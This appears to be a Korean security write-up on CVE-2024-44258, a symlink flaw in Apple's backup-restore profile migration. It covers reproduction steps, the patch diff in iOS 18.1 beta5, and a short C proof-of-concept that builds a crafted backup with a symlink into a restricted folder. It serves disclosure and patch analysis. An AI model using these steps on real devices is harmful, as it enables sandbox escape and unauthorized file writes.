
CVE-2024-44258
CVE-2024-44258는 Apple 기기의 ManagedConfiguration 프레임워크 및 profiled 데몬 내의 심볼릭 링크 취약점을 강조합니다. 조작된 백업을 복원할 때 마이그레이션 프로세스가 대상 폴더가 심볼릭 링크인지 확인하지 못하여 권한이 없는 파일이 제한된 영역으로 마이그레이션될 수 있습니다.
CVE-2024-44258이 이 문제에 할당되었습니다. CVE는 공개적으로 알려진 보안 취약점에 대한 고유 식별자입니다.
자세한 내용은 Apple 공식 지원 페이지를 참조하십시오:
이 취약점을 통해 공격자는 백업 복원 중에 심볼릭 링크를 활용하여 폴더 제한을 우회하고, 샌드박스 처리되거나 보호된 영역에 파일을 쓸 수 있습니다. 이 결함은 잠재적으로 권한이 없는 데이터 액세스, 권한 상승 또는 수정된 구성을 사용하는 다른 서비스의 악용을 허용할 수 있습니다.
조작된 백업 생성
/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles/Library/
에서 다음 도메인을 사용하는 샌드박스 폴더로:
SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles
원하는 파일 추가
/private/var/mobile/Library/ConfigurationProfiles
HomeDomain 사용.조작된 백업 복원
기기 재부팅
예상:
/private/var/mobile/Library/ConfigurationProfiles가 마이그레이션되어야 함:
/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles/Library/
실제: 조작된 심볼릭 링크로 인해 파일이 중요한 데이터나 보호된 데이터를 포함할 수 있는 제한된 폴더로 마이그레이션됩니다.
이 취약점은 수개월 동안 실제 환경에서 관찰되었으며, 이는 적극적인 악용을 나타냅니다.
iOS 18.1 beta5에서 Apple은 ManagedConfiguration 프레임워크 내의 심볼릭 링크 취약점을 해결하기 위해 패치를 도입했습니다. _MCDestinationPathIsSafeFromSymlinkAttacks 함수가 추가되어 대상 경로에 대한 안전 검사를 수행하여 제한된 영역으로의 권한 없는 파일 마이그레이션을 방지합니다. 이 검사는 특히 MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error: 함수에 추가되었습니다.
-[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:]취약점 수정은 -[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:] 함수를 수정하여 구현되었으며, 이 함수는 ManagedConfiguration 프레임워크 내에서 파일 마이그레이션을 처리합니다. 패치의 작동 방식은 다음과 같습니다:
심볼릭 링크 검사 추가
Apple은 MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:의 시작 부분에 _MCDestinationPathIsSafeFromSymlinkAttacks 호출을 추가했습니다. 이 함수는 이제 대상 경로에 심볼릭 링크가 없는지 확인하여 마이그레이션 작업을 수행하기 전에 보호 계층을 추가합니다.
조건 검사
_MCDestinationPathIsSafeFromSymlinkAttacks가 대상 경로에서 심볼릭 링크를 감지하면 마이그레이션 진행을 차단합니다. 함수는 OS_LOG_TYPE_FAULT를 사용하여 오류 메시지를 기록하고 조기 종료하여 파일 작업을 중단합니다.
IDA에서 Diaphora를 사용하여 iOS 18.1 beta4와 iOS 18.1 beta5 간의 diff 비교를 수행하면 -[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:] 함수의 변경 사항을 확인할 수 있습니다. 아래 이미지는 추가된 심볼릭 링크 검사가 포함된 수정된 코드를 보여줍니다.

다음은 취약점을 악용하는 백업을 조작하는 방법을 보여주는 샘플 코드 스니펫입니다. 이 코드는 실제 조작된 백업 파일을 제공하지 않고 백업에 심볼릭 링크와 파일을 추가하는 과정을 시뮬레이션합니다.
unsigned char* plist_data = NULL;
file_read("/path/to/your/test-outofsandbox.plist", &plist_data, &plist_size); // 파일 경로로 변경해야 함
backup_add_directory(backup, "HomeDomain", "Library/ConfigurationProfiles", 0755, 501, 501);
backup_add_file_with_data(backup, "HomeDomain", "Library/ConfigurationProfiles/test.plist", 0755, 501, 501, 4, plist_data, plist_size); // 파일 추가
backup_add_directory(backup, "SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles", NULL, 0755, 501, 501);
backup_add_symlink(backup, "SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles", "Library", "/private/var/mobile/Library", 501, 501); // 파일을 작성하려는 샌드박스 폴더 경로로 변경
backup_write_mbdb(backup); // 백업 저장
backup_free(backup);
신속한 대응과 협력에 대해 Apple 보안 팀에 특별히 감사드립니다.
취약점 발견: Hichem Maloufi & Christian Mina
이 저장소는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE를 참조하십시오.